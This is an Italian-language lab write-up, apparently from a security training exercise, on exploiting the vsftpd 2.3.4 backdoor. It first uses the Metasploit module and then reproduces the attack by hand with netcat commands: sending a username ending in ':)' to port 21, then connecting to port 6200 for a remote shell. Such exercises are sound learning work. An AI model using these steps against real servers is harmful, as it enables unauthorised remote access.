**Sintesi del Lavoro: Analisi e Replica dell'Exploit di vsftpd 2.3.4**

**Introduzione**

Lo scopo della missione era duplice: sfruttare l’exploit noto per il server FTP **vsftpd 2.3.4** utilizzando Metasploit e replicarlo manualmente, dimostrando una comprensione approfondita della vulnerabilità e del suo funzionamento.

**Fase 1: Sfruttamento con Metasploit**

1. Ho avviato **msfconsole** e cercato l’exploit con il comando:
2. search vsftpd\_backdoor
3. Ho utilizzato il modulo exploit/unix/ftp/vsftpd\_234\_backdoor e configurato i parametri principali, come l’indirizzo IP del server (RHOST) e la porta (RPORT).
4. L’exploit è stato lanciato con successo, ottenendo una **shell remota** sulla macchina target. Questo passaggio ha dimostrato l’efficacia dell’exploit preconfigurato in Metasploit.

**Fase 2: Analisi del Codice dell’Exploit**

Per comprendere l’exploit, ho analizzato la vulnerabilità nel comportamento del server FTP. La versione 2.3.4 include una **backdoor intenzionale** nel codice sorgente:

* Quando viene utilizzato un **username speciale** contenente :), il server attiva una funzione che apre una connessione remota sulla porta **6200**.
* Questo comportamento si trova nel sorgente del server FTP, dove l’input dell’utente viene processato e confrontato con questa sequenza specifica.

**Fase 3: Replica Manuale**

La replicazione manuale dell’exploit è stata eseguita seguendo questi passaggi:

1. **Connessione al server FTP:** Ho utilizzato un client come nc per connettermi alla porta FTP (21):
2. nc <IP\_TARGET> 21
3. **Attivazione della backdoor:** Ho inviato il comando:
4. USER gimmick:)

seguito da:

PASS gimmickato

1. **Connessione alla shell remota:** Una volta attivata la backdoor, mi sono collegato alla porta **6200**, confermando l’apertura di una shell remota:
2. nc <IP\_TARGET> 6200
3. **Verifica dei privilegi:** Ho confermato l’accesso con privilegi elevati utilizzando:
4. whoami

**Conclusioni**

Questa attività ha dimostrato come una vulnerabilità nel software possa essere sfruttata sia tramite strumenti automatizzati (Metasploit) sia manualmente, replicandone il funzionamento. L’analisi del codice dell’exploit ha fornito una comprensione approfondita della natura della vulnerabilità, evidenziando:

* L’importanza del controllo sull’input degli utenti.
* I pericoli insiti nell’inclusione di backdoor nel codice.

La replicazione manuale ha consolidato la comprensione del processo, mostrando che dietro ogni exploit c’è un insieme logico di azioni, non una semplice "magia".

Questa dimostrazione pratica sottolinea l'importanza di testare e aggiornare costantemente i sistemi legacy per prevenire exploit noti.